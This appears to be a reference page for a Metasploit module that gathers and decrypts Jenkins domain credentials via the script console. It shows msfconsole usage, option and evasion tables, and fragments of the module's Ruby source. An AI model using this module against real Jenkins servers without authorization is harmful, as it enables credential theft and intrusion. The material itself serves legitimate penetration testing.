Jenkins Domain Credential Recovery - Metasploit


This page contains detailed information about how to use the auxiliary/gather/jenkins_cred_recovery metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
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Module Overview

Name: Jenkins Domain Credential Recovery
Module: auxiliary/gather/jenkins_cred_recovery
Source code: modules/auxiliary/gather/jenkins_cred_recovery.rb
Disclosure date: -
Last modification time: 2017-07-24 06:26:21 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -

This module will collect Jenkins domain credentials, and uses the script console to decrypt each password if anonymous permission is allowed. It has been tested against Jenkins version 1.590, 1.633, and 1.638.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/gather/jenkins_cred_recovery
msf auxiliary(jenkins_cred_recovery) > show targets
    ... a list of targets ...
msf auxiliary(jenkins_cred_recovery) > set TARGET target-id
msf auxiliary(jenkins_cred_recovery) > show options
    ... show and set options ...
msf auxiliary(jenkins_cred_recovery) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the gather/jenkins_cred_recovery auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/jenkins_cred_recovery

msf6 auxiliary(gather/jenkins_cred_recovery) > show info

       Name: Jenkins Domain Credential Recovery
     Module: auxiliary/gather/jenkins_cred_recovery
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Th3R3p0
  sinn3r <[email protected]>

Check supported:
  Yes

Basic options:
  Name           Current Setting  Required  Description
  ----           ---------------  --------  -----------
  JENKINSDOMAIN  _                yes       The domain where we want to extract credentials from
  Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT          8080             yes       The target port (TCP)
  SSL            false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI      /                yes       The base path for Jenkins
  VHOST                           no        HTTP server virtual host

Description:
  This module will collect Jenkins domain credentials, and uses the 
  script console to decrypt each password if anonymous permission is 
  allowed. It has been tested against Jenkins version 1.590, 1.633, 
  and 1.638.

References:
  https://www.exploit-db.com/exploits/38664
  http://www.th3r3p0.com/vulns/jenkins/jenkinsVuln.html

Module Options

This is a complete list of options available in the gather/jenkins_cred_recovery auxiliary module:

msf6 auxiliary(gather/jenkins_cred_recovery) > show options

Module options (auxiliary/gather/jenkins_cred_recovery):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   JENKINSDOMAIN  _                yes       The domain where we want to extract credentials from
   Proxies                         no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                          yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT          8080             yes       The target port (TCP)
   SSL            false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI      /                yes       The base path for Jenkins
   VHOST                           no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the gather/jenkins_cred_recovery auxiliary module:

msf6 auxiliary(gather/jenkins_cred_recovery) > show advanced

Module advanced options (auxiliary/gather/jenkins_cred_recovery):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the gather/jenkins_cred_recovery module can do:

msf6 auxiliary(gather/jenkins_cred_recovery) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the gather/jenkins_cred_recovery auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/jenkins_cred_recovery) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Connection timed out while finding the Jenkins version

Here is a relevant code snippet related to the "Connection timed out while finding the Jenkins version" error message:

50:	  def get_jenkins_version
51:	    uri = normalize_uri(target_uri.path)
52:	    res = send_request_cgi({ 'uri' => uri })
53:	
54:	    unless res
55:	      fail_with(Failure::Unknown, 'Connection timed out while finding the Jenkins version')
56:	    end
57:	
58:	    html = res.get_html_document
59:	    version_attribute = html.at('body').attributes['data-version']
60:	    version = version_attribute ? version_attribute.value : ''

Connection timed out while enumerating accounts.

Here is a relevant code snippet related to the "Connection timed out while enumerating accounts." error message:

100:	    uri << '/'
101:	
102:	    res = send_request_cgi({ 'uri'=>uri })
103:	
104:	    unless res
105:	      fail_with(Failure::Unknown, 'Connection timed out while enumerating accounts.')
106:	    end
107:	
108:	    html = res.get_html_document
109:	    rows = html.search('//table[@class="sortable pane bigtable"]//tr')
110:

Connection timed out while getting the encrypted password

Here is a relevant code snippet related to the "Connection timed out while getting the encrypted password" error message:

141:	  def get_encrypted_password(id)
142:	    uri = normalize_uri(target_uri.path, 'credential-store', 'domain', domain, 'credential', id, 'update')
143:	    res = send_request_cgi({ 'uri'=>uri })
144:	
145:	    unless res
146:	      fail_with(Failure::Unknown, 'Connection timed out while getting the encrypted password')
147:	    end
148:	
149:	    html = res.get_html_document
150:	    input = html.at('//div[@id="main-panel"]//form//table//tr/td//input[@name="_.password"]')
151:

Unable to find encrypted password for <ID>

Here is a relevant code snippet related to the "Unable to find encrypted password for <ID>" error message:

150:	    input = html.at('//div[@id="main-panel"]//form//table//tr/td//input[@name="_.password"]')
151:	
152:	    if input
153:	      return input.attributes['value'].value
154:	    else
155:	      vprint_error("Unable to find encrypted password for #{id}")
156:	    end
157:	
158:	    nil
159:	  end
160:

Connection timed out while accessing the script console

Here is a relevant code snippet related to the "Connection timed out while accessing the script console" error message:

176:	        'Submit' => 'Run'
177:	      }
178:	    })
179:	
180:	    unless res
181:	      fail_with(Failure::Unknown, 'Connection timed out while accessing the script console')
182:	    end
183:	
184:	    if /javax\.servlet\.ServletException: hudson\.security\.AccessDeniedException2/ === res.body
185:	      vprint_error('No permission to decrypt password')
186:	      return nil

No permission to decrypt password

Here is a relevant code snippet related to the "No permission to decrypt password" error message:

180:	    unless res
181:	      fail_with(Failure::Unknown, 'Connection timed out while accessing the script console')
182:	    end
183:	
184:	    if /javax\.servlet\.ServletException: hudson\.security\.AccessDeniedException2/ === res.body
185:	      vprint_error('No permission to decrypt password')
186:	      return nil
187:	    end
188:	
189:	    html = res.get_html_document
190:	    result = html.at('//div[@id="main-panel"]//pre[contains(text(), "Result:")]')

Unable to find result

Here is a relevant code snippet related to the "Unable to find result" error message:

190:	    result = html.at('//div[@id="main-panel"]//pre[contains(text(), "Result:")]')
191:	    if result
192:	      decrypted_password = result.inner_text.scan(/^Result: ([[:print:]]+)/).flatten.first
193:	      return decrypted_password
194:	    else
195:	      vprint_error('Unable to find result')
196:	    end
197:	
198:	    nil
199:	  end
200:

Found <USER_DATA:USERNAME>, but unable to decrypt password.

Here is a relevant code snippet related to the "Found <USER_DATA:USERNAME>, but unable to decrypt password." error message:

262:	          print_good("Found credential: #{user_data[:username]}:#{pass}")
263:	        else
264:	          print_good("Found credential: #{user_data[:username]}:#{pass} (#{user_data[:description]})")
265:	        end
266:	      else
267:	        print_status("Found #{user_data[:username]}, but unable to decrypt password.")
268:	      end
269:	
270:	      report_cred(
271:	        user: user_data[:username],
272:	        password: pass,

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References

See Also

Check also the following modules related to this module:

Authors

  • Th3R3p0
  • sinn3r

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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